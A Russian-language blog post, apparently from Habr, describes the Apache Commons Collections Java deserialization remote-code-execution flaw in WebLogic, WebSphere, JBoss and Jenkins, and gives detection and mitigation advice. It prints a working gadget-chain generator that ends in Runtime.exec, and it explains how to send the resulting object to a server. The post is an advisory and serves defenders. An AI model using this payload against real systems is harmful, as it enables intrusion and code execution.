Pull to refresh

Критическая уязвимость в ряде Java Application Server

Reading time 3 min
Views 23K

Вчера в блоге Apache FSF появилась интересная запись. Уязвимым оказалось практически все ПО, которое использует сериализацию и десереализацию данных совместно с apache commons collections и некоторыми другими библиотеками.
Сама уязвимость была описана 6 ноября, а сегодня Oracle выпустил первые патчи к WebLogic.

Кратко


Тип: Удаленное исполнение кода
Опасность: высокая
Уязвимое ПО: Oracle WebLogic, IBM WebSphere, JBoss, Jenkins, OpenNMS и другое ПО с commons collections в classpath.
Описание: Уязвимость позволяет злоумышленнику создать такой пакет сериализованных данных, который при распаковке заставит уязвимый сервер исполнить произвольный код.

Подробно


Факты

  1. В Java, как и во многих других языках, существует механизм под названием serialization/deserialization, превращающий java-объект в последовательность байт и обратно. Он используется для передачи объектов, например через RMI или http cookie.
  2. В библиотеке commons collections существует ряд классов ( *Transformer ), которые можно сериализовать
  3. При некоторых условиях при десереализации InvokerTransformer может исполнить код
  4. Библиотека commons-collections используется в огромном количестве проектов, включая application servers указанные выше
  5. Для эксплуатации достаточно иметь данные классы в classpath, использовать ее в своем приложении не обязательно

Payload

Данный пример я честно скопировал из оригинальной статьи и снабдил своими комментариями, они наглядно показывают суть проблемы.

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);    
    return handler;
}

Код генерирует объект, десериализация которого приведет к исполнению кода.
Все дело в том, как упаковывается InvokerTransformer, который при распаковке цепочки трансформеров и вызовет Runtime.getRuntime().exec(new String[] { command }), что приведет к исполнению кода в операционной системе.

Комментарий от tbl:
У InvokerTransformer нет дефолтного конструктора, там все запутанее: у PriorityQueue в readObject() есть вызов compare у объекта, в качестве которого передаётся экземпляр TransformerComparator'а, который в свою очередь вызывает метод transform() у переданного InvokerTransformer. А там уже Method.invoke(), которому передаётся трэш, угар и содомия, например, Runtime.getRuntime().exec().

Так что надо искать не дефолтные конструкторы, а readObject(), которые вызывают интерфейсные методы, реализации которых где-то там в глубине стека вызывают invoke()


Для эксплуатации достаточно сериализовать полученный объект через java.io.ObjectOutputStream и передать его по используемому протоколу.

Примеры эксплуатации представлены в оригинальной статье, сам PoC лежит тут.

Workaround


Для успешной эксплуатации достаточно найти удаленный сервис, который принимает на вход сериализованные данные.

Потенциально уязвимые места:
  • HTTP запросы – параметры, cookie, ViewState'ы, заголовки итд
  • RMI и RMI over HTTP
  • JMX
  • Собственные протоколы, передающие сериализованные объекты

Для поиска подобных объектов в трафике своих серверов можно воспользоваться сниффером и поискать последовательность байт "ac ed 00 05 73 72", которая является заголовком любого сериализованного объекта. Не забывайте, что объект может быть обернут в base64 или другое кодирование, в зависимости от типа системы. После нахождения сервисов, принимающих такие объекты, очень желательно изолировать их от внешней сети. Тем временем RedHat Security предлагает просто удалить «вредные» классы из jar-файлов.

P.S. А лучше не используйте сериализацию для внешних данных, ведь никому не известно, сколько еще таких «Трансформеров» существует.
Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
+15
Comments 32
Comments Comments 32

Articles